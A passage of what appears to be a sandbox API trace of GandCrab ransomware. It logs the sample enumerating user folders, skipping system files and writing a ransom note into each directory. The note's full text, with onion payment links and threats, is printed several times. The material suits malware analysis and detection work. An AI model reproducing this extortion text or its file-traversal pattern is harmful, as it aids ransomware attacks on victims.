http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.108] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.109] CloseHandle (hObject=0x4f8) returned 1 [0054.109] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.109] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned 56 [0054.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*" [0054.109] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8c70 [0054.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.109] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.109] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.109] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.109] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.109] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0054.109] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0054.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0054.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\" [0054.109] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.110] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.110] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.110] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.110] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.110] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned 68 [0054.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" [0054.110] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8a30 [0054.110] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.110] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.110] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.110] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.110] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.110] lstrcmpW (lpString1="Pbk", lpString2=".") returned 1 [0054.110] lstrcmpW (lpString1="Pbk", lpString2="..") returned 1 [0054.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0054.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned 71 [0054.110] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.110] FindClose (in: hFindFile=0x5b8a30 | out: hFindFile=0x5b8a30) returned 1 [0054.111] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.111] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\\\GDCB-DECRYPT.txt") returned 85 [0054.111] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.111] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.111] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.111] CloseHandle (hObject=0x4fc) returned 1 [0054.112] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.112] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned 68 [0054.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" [0054.112] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b85b0 [0054.112] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.112] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.112] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.112] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.112] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.112] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.112] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt" [0054.112] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.112] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0054.112] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0054.112] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0054.112] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.112] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.112] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.113] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.113] lstrcmpW (lpString1="Pbk", lpString2=".") returned 1 [0054.113] lstrcmpW (lpString1="Pbk", lpString2="..") returned 1 [0054.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0054.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\" [0054.113] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.113] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.113] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.113] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.113] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.113] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.113] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned 72 [0054.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" [0054.113] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b8770 [0054.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.114] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.114] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.114] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.114] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.114] lstrcmpW (lpString1="_hiddenPbk", lpString2=".") returned 1 [0054.114] lstrcmpW (lpString1="_hiddenPbk", lpString2="..") returned 1 [0054.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0054.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned 82 [0054.114] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.114] FindClose (in: hFindFile=0x5b8770 | out: hFindFile=0x5b8770) returned 1 [0054.114] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.114] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\\\GDCB-DECRYPT.txt") returned 89 [0054.114] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.115] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.115] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.115] CloseHandle (hObject=0x500) returned 1 [0054.115] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.116] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned 72 [0054.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" [0054.116] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8a30 [0054.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.116] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.116] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.116] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.116] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.116] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.116] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt" [0054.116] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.116] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0054.116] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0054.116] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0054.116] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.116] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.116] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.116] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.116] lstrcmpW (lpString1="_hiddenPbk", lpString2=".") returned 1 [0054.116] lstrcmpW (lpString1="_hiddenPbk", lpString2="..") returned 1 [0054.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0054.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0054.116] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.117] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned 83 [0054.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" [0054.117] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8ab0 [0054.117] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.117] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.117] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.117] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.117] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.117] lstrcmpW (lpString1="rasphone.pbk", lpString2=".") returned 1 [0054.117] lstrcmpW (lpString1="rasphone.pbk", lpString2="..") returned 1 [0054.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" [0054.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95 [0054.117] lstrcmpW (lpString1=".pbk", lpString2=".sql") returned -1 [0054.117] FindNextFileW (in: hFindFile=0x5b8ab0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.117] FindClose (in: hFindFile=0x5b8ab0 | out: hFindFile=0x5b8ab0) returned 1 [0054.117] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.117] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\\\GDCB-DECRYPT.txt") returned 100 [0054.117] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.118] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of 